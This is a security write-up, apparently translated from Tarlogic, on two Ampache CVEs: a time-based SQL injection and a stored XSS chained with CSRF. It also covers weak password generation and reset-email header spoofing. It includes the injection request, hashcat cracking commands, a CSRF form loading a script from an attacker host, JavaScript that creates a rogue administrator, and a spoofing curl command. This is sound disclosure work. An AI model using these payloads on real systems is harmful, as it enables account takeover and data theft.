Ampache<=3.9.1下的两个CVE

Hulk / 2019-09-02 09:01:00 / 浏览数 3568 安全技术 漏洞分析 顶(0) 踩(0)

概述

在一次Red
Team（红队）行动中，我们在Ampache上发现多个危急漏洞，Ampache是一个开源的Web音视频管理平台。此次行动，一共发现两个CVEs，分别为CVE-2019-12385
(SQL注入)和CVE-2019-12386 (储存型XSS)。

SQL 注入(CVE-2019-12385)

经简单审计发现，Web应用通过Dba类（ORM）与数据库进行通信，该类依赖于PHP
PDO执行查询语句。Web程序中内置有许多预处理查询语句，其中大部分都是安全的，除了调用Dba::escape方法。

lib/class/dba.class.php:

```
134:    public static function escape($var)
135:    {
136:        $dbh = self::dbh();
137:        if (!$dbh) {
138:            debug_event('Dba', 'Wrong dbh.', 1);
139:            exit;
140:        }
141:        $var = $dbh->quote($var);
142:        // This is slightly less ugly than it was, but still ugly
143:        return substr($var, 1, -1);
144:    }
```

该函数会调用PDO::quote方法，可用于转义特殊字符并且对字符串进行quote处理（单引号包裹）。然后在底层单引号会被自动处理掉。但SQL注入并非一定要用到单引号

我找到一处调用该方法的地方，可以验证漏洞。

lib/class/search.class.php:

```
1461:   case 'last_play':
1462:         $userid= $GLOBALS['user']->id;
1463:         $where[]="`object_count`.`date` IS NOT NULL AND `object_count`.`date` $sql_match_operator (UNIX_TIMESTAMP() - (
1464:         $join['object_count'] = true;
1465:         break;
```

$input变量基本上可以视为：

```
Dba::escape($USER_INPUT)
```

现在攻击者可以尝试注入SQL语句（要避免引号或特殊字符）。

构造有效载荷，页面停滞5秒钟，可以确认漏洞：

```
POST /search.php?type=song
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.3
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9,en;q=0.8,pt;q=0.7
Cookie: ampache=[session_id]
Connection: close

limit=0&operator=or&rule_1=last_play&rule_1_operator=1&rule_1_input=1))union+select+1+from+dual+where+sleep(5)--&action=search
```

搜索页面存在漏洞，所以任意用户或访客都可以造成SQL攻击，窃取数据库中的管理员session。下面我还会介绍如何利用漏洞添加管理员用户。

密钥生成的问题

关于这应用的密钥生成，主要有两个问题。

哈希不加盐

lib/class/user.class.php:

```
990:    public function update_password($new_password)
991:    {
992:        $new_password = hash('sha256', $new_password);
993:        $new_password = Dba::escape($new_password);
994:        $sql          = "UPDATE `user` SET `password` = ? WHERE `id` = ?";
995:        $db_results   = Dba::write($sql, array($new_password, $this->id));
996:        // Clear this (temp fix)
997:        if ($db_results) {
998:            unset($_SESSION['userdata']['password']);
990:        }
1000:   }
```

应用对密码做sha256加密处理，但是不加盐。

弱算法

下面这个方法用来生成伪随机码。

lib/general.lib.php47:

```
47: function generate_password($length)
48:    {
49:        $vowels     = 'aAeEuUyY12345';
50:        $consonants = 'bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789';
51:        $password   = '';
52:        $alt = time() % 2;
53:        for ($i = 0; $i < $length; $i++) {
54:            if ($alt == 1) {
55:                $password .= $consonants[(rand(0, strlen($consonants) - 1))];
56:                $alt = 0;
57:            } else {
58:                $password .= $vowels[(rand(0, strlen($vowels) - 1))];
59:                $alt = 1;
60:            }
61:        }
62:        return $password;
63:    }
```

从代码可以看到，该方法用到了两个短字符集（13个"vowels（元音）"或36个"consonants（辅音）"），通过不断在其中选择字符来生成密码。不妙的是：生成时间戳已知

此外，通过lostpassword.php，我们可以发现此方法生成的密码长度只有6个字符。

lostpassword.php

```
54:    if ($client && $client->email == $email) {
55:        $newpassword = generate_password(6);
56:        $client->update_password($newpassword);
```

我们可以把这两个问题与SQL注入相结合，很快就可以拿下管理员账户：

1. 重置admin密码
2. 通过SQL注入：dump下生成密码的哈希值
3. 破解

使用hashcat命令，可以在几秒钟内破解出密钥：

```
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -1 aAeEuUyY12345 -2 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2
```

```
.\hashcat64.exe -m 1400 -w 4 -a 3 ampache_hash_list.txt -2 aAeEuUyY12345 -1 bBdDgGhHjJmMnNpPqQrRsStTvVwWxXzZ6789 ?1?2?1?2?1?2
```

CSRF和储存型XSS (CVE-2019-12386)

localplay.php用于实例化对象，存在两个漏洞：CSRF和储存型XSS。利用这两个漏洞打一套组合拳，可以拿到管理员权限。

跨站脚本

Web应用在渲染"name"字段时，HTML中的特殊字符没有被正确转义。通过这点，攻击者插入恶意字符，可以盗用用户会话来执行某些操作。

通过一个简单的有效载荷来确认漏洞：

```
<script>alert(1)</script>
```

跨站请求伪造

另一方面，此应用没有token保护，易受CSRF攻击。所以攻击者可以组合这两个漏洞，盗用管理员账户。这要求一定的交互，攻击者需要通过社工手段使管理员访问存在恶意

poc

Index.html:

```
<html>
 <body>
   <form action="https://[AMPACHE]/localplay.php?action=add_instance" method="POST">
     <input type="hidden" name="name" value="<script src=https://[ATTACKER]/pwn.js></script>" />
     <input type="hidden" name="host" value="foobar" />
     <input type="hidden" name="port" value="6666" />
     <input type="hidden" name="host" value="foobar" />
     <input type="hidden" name="port" value="9999" />
     <input type="hidden" name="password" value="foobar" />
     <input type="submit" value="Pwn!" />  <!-- Replace this with autosubmit stuff -->
   </form>
 </body>
```

pwn.js:

```
function pwned() {
   var ifr = document.getElementById("pwn");
   var target = ifr.contentDocument.getElementsByTagName("form")[2];
   target.username.value = "NewAdmin";
   target.email.value = "myemail@tarlogic.foobar";
   target.password_1.value = "admin";
   target.password_2.value = "admin";
   target.access.value = "100";
   target.submit();
}
var iframe = document.createElement('iframe');
iframe.setAttribute("src", "https://[AMPACHE]/admin/users.php?action=show_add_user");
iframe.setAttribute("id", "pwn");
document.body.appendChild(iframe);
setTimeout(pwned, 3000);
```

诱使管理员访问index页面后，浏览器会自动发送一个表单，创建一个带有XSS有效载荷实例。同时，有效载荷还将执行pwn.js中的JS代码，然后将在后台创建一个新的管理

重置邮箱的问题

另一个漏洞位于重置密码处：

lostpassword.php

```
34:     $email = scrub_in($_POST['email']);
35:     $current_ip =(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) ? $_SERVER['HTTP_X_FORWARDED_FOR'] :$_SERVER['REMOTE_ADDR'];
36:     $result     = send_newpassword($email, $current_ip);
//...
$message  = sprintf(T_("A user from %s has requested a password reset for '%s'."), $current_ip, $client->username);
```

攻击者可以在发送email时直接设置X-Forwarded-For标头，所以通过简单的钓鱼就可以重置用户密码：

```
curl https://[AMPACHE]/lostpassword.php --data "email=anyuser@tarlogic.foobar&action=send" --header "X-Forwarded-For: WE CAN M
```

攻击者的邮箱将会收到：

```
A user from WE CAN MANIPULATE THIS TO LURE YOU has requested a password reset for 'XXXX'.
The password has been set to:: jEX3WE
```

参考来源：tarlogic

上一篇：利用OpCode绕过Python沙箱 下一篇：一款漏洞验证框架的构思

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板